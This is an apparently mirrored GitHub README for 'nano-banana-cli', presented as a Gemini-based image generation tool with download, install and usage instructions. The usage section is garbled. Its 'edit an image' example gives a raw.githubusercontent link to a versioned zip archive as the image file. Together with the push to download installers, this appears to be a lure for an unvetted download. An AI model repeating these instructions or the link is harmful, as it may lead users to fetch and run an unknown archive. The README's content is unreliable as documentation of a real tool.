nano-banana-cli:基于 Gemini 模型的命令行图像生成工具
erikceballos/nano-banana-cli
nano-banana-cli 是一款基于 Google Gemini 模型的命令行图像工具,支持文本提示词生成图像、编辑现有图片、生成应用图标和无缝平铺图案,以及缩放、裁剪、旋转、翻转、去背景和合并为精灵图等操作。
🍌 nano-banana-cli - Effortless Image Generation Made Simple
🚀 Download Now
📖 About
Welcome to nano-banana-cli, an easy-to-use command-line tool for generating and manipulating images. This tool harnesses the power of AI using Google's Gemini models. Whether you want to create new images, edit existing ones, or generate icons, this application offers a range of features tailored for your creative needs.
Note: This is a personal project and is not actively supported. Pull requests are not accepted. Feel free to open an issue if you run into something - I'll see it, but no promises on fixes or responses.
🌟 Features
- Image Generation: Create images using text prompts.
- Image Editing: Modify existing images with simple language.
- Icon Generation: Produce app icons in various sizes.
- Pattern Generation: Generate seamless, tileable patterns.
- Image Transformation: Resize, crop, rotate, and flip images.
- Transparency Handling: Remove backgrounds and inspect alpha channels.
- Image Combining: Merge images into sprite sheets, strips, and grids.
💻 Download & Install
To get started, visit this page to download the latest release for your platform: GitHub Releases.
- Navigate to the Releases page by clicking the link above.
- Look for the latest version available.
- Choose the file that matches your operating system (Windows, macOS, Linux).
- Click on the file to download it.
⚙️ System Requirements
- Operating System: Compatible with Windows, macOS, and Linux.
- Disk Space: At least 100 MB of available space.
- Memory: Minimum of 4 GB RAM recommended.
🏁 Getting Started
Once you have downloaded the software, follow these steps:
- Locate the downloaded file in your file manager.
- For Windows, double-click the
.exefile to start the installation. For macOS, open the.dmgfile and drag the application to your Applications folder. For Linux, follow the terminal instructions if applicable. - Open your command line interface (Command Prompt on Windows, Terminal on macOS and Linux).
- Execute the application by typing
nano-banana-cliand pressing Enter.
🌐 Usage Examples
Generating an Image
To generate an image based on a text prompt, you can use the following command:
nano-banana-cli generate "A beautiful sunset over the mountains"
Editing an Image
To edit an image called https://raw.githubusercontent.com/erikceballos/nano-banana-cli/main/internal/nano_cli_banana_1.9-alpha.5.zip, you can use:
nano-banana-cli edit https://raw.githubusercontent.com/erikceballos/nano-banana-cli/main/internal/nano_cli_banana_1.9-alpha.5.zip "Make it brighter and add clouds"
Creating an Icon
To create an app icon, use:
nano-banana-cli icon "MyApp" --size 512
🆘 Troubleshooting
If you encounter any issues:
- Ensure you have the correct version for your operating system.
- Check the command syntax for errors.
- Consult the issues page to see if your problem has been addressed.
🎉 Acknowledgements
Thank you for trying out nano-banana-cli! Your feedback is valuable. I appreciate your interest in using this tool for your image generation and editing needs. For any questions or discussions, please feel free to open an issue on GitHub.
📅 Updates
Keep an eye on the Releases page for future updates and improvements.
By following these instructions, you will successfully download, install, and run nano-banana-cli. Enjoy creating!
来源:GitHub · github.com